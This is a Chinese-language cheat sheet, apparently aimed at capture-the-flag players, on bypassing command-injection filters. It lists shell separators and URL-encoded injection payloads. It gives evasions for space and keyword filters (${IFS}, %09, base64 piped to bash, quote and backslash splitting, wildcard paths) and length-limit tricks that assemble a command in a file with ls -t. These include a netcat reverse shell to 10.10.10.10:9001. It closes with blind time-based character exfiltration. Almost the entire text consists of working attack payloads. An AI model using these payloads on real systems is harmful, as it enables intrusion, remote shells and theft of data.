| :直接执行后面的语句,|前面的命令结果作为后面命令的参数
|| :前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行
& :前面和后面命令都要执行,无论前面真假。注意:使用的时候要把&进行URL编码为%26才能正常执行cmd=%26cat /flag
&& :如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
|、||、&、&&这四种管道符都存在且用法和Windows系统下一样
;作用和&一样,只是不用%26
1、${IFS}
${IFS}
是一个环境变量,代表内部字段分隔符(Internal Field Separator)。在大多数情况下,它的默认值是空格、制表符(tab)和换行符
示例:
1、cat${IFS}flag.txt
2、ls${IFS}-la
2、利用大括号
{cat,flag.txt}
3、%09绕过 (php环境)
%09
是一个表示制表符(Tab 键)的 ASCII 码,可以用于空格过滤绕过。
cat%09flag.txt 等同于 cat<Tab>flag.txt
/tmp/../bin/whoami
4、重定向
重定向字符 <
:用于将文件的内容作为输入提供给命令
示例:
cat flag.txt
cat<flag.txt
**重定向字符 <>**:用于打开文件并同时进行读取和写入
cat<>flag.txt
c=ami;who$_ :$_代表前面一个命令的结果。
1、base64编码
将 cat flag 进行编码
管道符|把前面指令执行的结果,变成后面指令的参数
`echo "Y2F0IGZsYWc="|base64 -d`
$(echo Y2F0IGZsYWc= | base64 -d)
echo Y2F0IGZsYWc= | base64 -d | bash
同理base32编码也可
2、拼接
利用变量$
a=c; b=at; c=fl; d=ag; $a$b $c$d
$a$b 最终会被替换为 cat,而 $c$d 最终会被替换为 flag
3、反斜杠
c\at fl\ag
4、单 双引号
c""at fl''ag
"ca"'t'"" 'fl'"ag"
常见的将cat进行过滤
1、将cat进行编码
2、tac:反向显示,从最后一行开始往前显示
3、more:一页一页显示档案内容
less:与more类似
4、tail 查看末尾几行
5、nl 显示的时候,顺便输出行号
6、od :以二进制方式读取档案内容
-A d:指定输出地址的格式为十进制。
-c:以字符形式输出内容。
7、sort:主要用于排序文件
8、uniq :报告或删除文件中重复的行也可以查看
9、file -f:报错出具体内容
10、strings :相当于cat
10、使用编辑器 vi vim nano也可查看
/???/?[a][t] ?''?''?''?''
/???/?at flag
/???/?at ????
/???/?[a]''[t] ?''?''?''?''
1、Linux中的>符号和>>符号
通过>创建文件,并将命令执行结果写入文件会覆盖掉文件原本的内容
>>用来追加文件内容
运用
echo "ca\\">cmd :创建文件,并写入内容
echo "t\\">>cmd :追加文件内容
echo " fl\\">>cmd :追加
echo "ag">>cmd :追加
cat cmd
sh cmd :sh命令是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取
2、利用ls-t和>绕过
ls -t命令:按时间顺序,后创建的排在前面,由近及远排序。
#>"ag"
#>" fl\\"
#>"t\\"
#>"ca\\"
#ls -t
#ls -t > zian
#sh zian
3、绕过长度限制反弹shell命令
执行shell为
nc 10.10.10.10 9001
#>9001
#>\ \\
#>>10\\
#>10.\\
#>10.\\
#>10.\\
#>c\ \\
#>\n\\
#ls -t > zian
#sh zian
攻击机监听即可
1、sleep
sleep 5 理解SQL延时注入
2、cut -c和awk利用
cat flag | awk NR==1 | cut -c 1 #获取结果为第1行的第一个字符
cat flag | awk NR==2 | cut -c 2 #获取结果为第2行第二个字符
3、if语句:判断命令是否执行
if [ $(cat flag | awk NR==1 | cut -c 2) == i ];then sleep 2;fi